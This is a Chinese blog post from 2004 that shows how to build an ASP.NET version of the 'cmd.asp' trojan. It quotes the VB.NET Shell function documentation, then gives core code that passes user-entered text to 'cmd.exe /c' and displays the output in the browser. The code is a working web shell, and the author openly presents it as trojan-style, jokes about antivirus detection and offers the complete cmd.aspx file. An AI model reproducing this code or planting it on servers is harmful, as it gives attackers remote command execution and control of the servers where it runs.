asp.net調用cmd

 

cmd.asp木馬大家一定用過吧。這是一個可以執行cmd命令的asp文件(不過要被殺毒軟件追殺^_^)。其原理是用WSCRIPT.SHELL對象調用cmd.exe,然後把返回的信息放到一個臨時文件,再利用FSO把臨時文件信息讀出來顯示在瀏覽器裏。

呵呵,在asp.net環境下也是可以寫出類似程序的。不過可以不用那些對象。

VB.net裏有一個shell函數,可以執行外部程序。呵呵,就是利用它!現看看微軟的.net framework SDK的介紹:

 



Shell 函數
命名空間:Microsoft.VisualBasic
模塊:Interaction
程序集:Microsoft Visual Basic .NET 運行庫(位於 Microsoft.VisualBasic.dll 中)
運行一個可執行程序,並且如果該程序仍然在運行,則返回一個包含該程序的進程 ID 的整數。
Public Function Shell( _
   ByVal Pathname As String, _
   Optional ByVal Style As AppWinStyle = AppWinStyle.MinimizedFocus, _
   Optional ByVal Wait As Boolean = False, _
   Optional ByVal Timeout As Integer = -1 _
) As Integer
參數
Pathname
必選項。字符串。要執行的程序名以及任何需要的參數和命令行開關。Pathname 還可以包括驅動器和目錄路徑或文件夾。
Style
可選項。AppWinStyle。從 AppWinStyle 枚舉中選擇的值,該枚舉與要在其中運行程序的窗口樣式相對應。如果省略 Style,則 Shell 使用 AppWinStyle.MinimizedFocus,這將使程序以最小化啓動並具有焦點。
Style 參數可以有以下設置之一:
枚舉值 說明
AppWinStyle.Hide 隱藏窗口併爲隱藏的窗口提供焦點。
AppWinStyle.NormalFocus 爲窗口提供焦點,並以最近的大小和位置顯示窗口。
AppWinStyle.MinimizedFocus 爲窗口提供焦點,並以圖標的形式顯示窗口。
AppWinStyle.MaximizedFocus 爲窗口提供焦點,並以全屏方式顯示窗口。
AppWinStyle.NormalNoFocus 將窗口設置爲最近的大小和位置。當前活動窗口保持焦點。
AppWinStyle.MinimizedNoFocus 以圖標的形式顯示窗口。當前活動窗口保持焦點。

Wait
可選項。Boolean。指示 Shell 函數是否應等待程序完成的值。如果省略 Wait,則 Shell 使用 False。
Timeout
可選項。Integer。Wait 爲 True 時等待完成的毫秒數。如果省略 Timeout,則 Shell 使用 -1,表示沒有超時,Shell 直到程序完成時才返回。因此,如果省略 Timeout 或將它設置爲 -1,則 Shell 可能永遠不會將控制返回給程序。


嗯,你那麼帥,一定看得懂^_^

現在看核心代碼:
 dim but as string
 dim tempfile as string=server.MapPath(".") & "/" & "test.txt"
 shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,-1)
 dim myread as new streamreader(tempfile,encoding.default)
 but=myread.readtoend
 but=replace(but,"<","&lt;")
 but=replace(but,">","&gt;")
 result.text="<pre>" & but & "</pre>"
 myread.close
 if file.exists(tempfile) then
  file.delete(tempfile)
 end if

關鍵是shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000),這句話就是調用cmd.exe並且等待程序執行完畢。注意:要是你運行的命令需要等待(如date),呵呵,那就慘了。那就暫時刪不掉臨時文件test.txt……而且不能再執行命令了……不知道高手能不能解決這個問題,先謝過啦。

另:vb裏也有shell函數,但是我用在asp文件裏卻不行,呵呵

順手說一哈,我的系統winXP,IIS5.1,.netframeworkSDK1.1
完整程序cmd.aspx附上

 by  lake2
07/16/2004


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章